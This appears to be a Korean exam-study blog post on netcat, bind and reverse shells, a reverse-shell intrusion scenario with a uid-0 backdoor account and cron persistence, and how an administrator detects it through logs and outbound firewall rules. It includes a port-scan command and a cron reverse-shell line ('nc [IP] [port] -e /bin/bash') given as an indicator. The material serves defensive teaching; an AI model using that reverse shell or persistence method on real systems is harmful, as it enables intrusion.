1. 사전지식
[+] 넷캣 or NC (netcat)
- TCP 또는 UDP를 사용하여 NW연결을 확인하거나 기록하는 유틸리티 툴(tool)
- 네트워크 연결 디버그 및 모니터링, 열린 포트 검사, 데이터 전송, 프락시 등의 기능을 가지고 있음
- 호환성이 좋아 거의 모든 OS에서 사용가능하며, Linux의 경우 기본적으로 설치되어 있음
- 바인드 쉘 (클라이언트(공) 타겟 서버에 접속하여 타겟 서버의 쉘을 획득) ==> 중간에 방화벽이 있다면? 연결 차단됨
- 리버스 쉘 (타겟 서버가 클라이언트(공)로 접속해서 클라이언트가 타겟 서버의 쉘을 획득) ==> 내부에서 외부로 연결하기 때문에 방화벽 우회
예시)
nc -z -v [IP 주소] 20-80 2>&1 | grep succeeded
2. 리버스 쉘 침해사고 시나리오
[+]시나리오
- 공격자는 특정 웹사이트 내부 침투 성공 -> 웹 서버의 관리자(root) 계정을 탈취(brute Force/Dictionary) 수행 -> PW 획득
- 지속적 침입을 위해 일반 유저로 보이는 루트 권한 사용자 계정 생성 (uid 0 or gid 0)
- 방화벽 단점(내부->외부)을 이용하여 지속적으로 연결하기 위해 cron 등록
- 악의적인 명령이 수행되는지 테스트
3. 관리자 관점 분석
[+] 로그 분석
- 웹서버 로그중 /var/log/secure와 /var/log/messages로그 파일에 허용되지 않은 루트 계정이 telnet으로 로그인되었는지 확인
> 로그인 시도가 비정상적으로 많이 존재하고 그 중 성공한 기록이 있을 경우
[+] 루트 계정의 명령어 실행 내역 확인
- bash_history 로그 파일을 분석하여 기록 확인
- history 중 useradd(루트권한 계정 생성)와 crontab(비정상적 스케줄) 확인
- crontab에 root /usr/bin/nc [IP] [port] -e [/bin/bash]와 같이 있다면, netstat 명령어를 통해 확인
[+] 대응방안으로 방화벽 아웃바운드 설정
- 방화벽 설정 시 내부에서 외부로 나가는 아웃바운드 설정을 하여 사전에 방어
'소소한 IT이야기 > 정보보안기사 실기' 카테고리의 다른 글
[정보보안기사 실기] 시스템 보안 정리 (기본 개념) (0) | 2023.07.20 |
---|---|
[정보보안기사] 침해사고 분석 및 대응 - Snort (feat. 실기 기출) (0) | 2023.07.12 |
[정보보안기사] 애플리케이션 보안 - HTTP (0) | 2023.07.11 |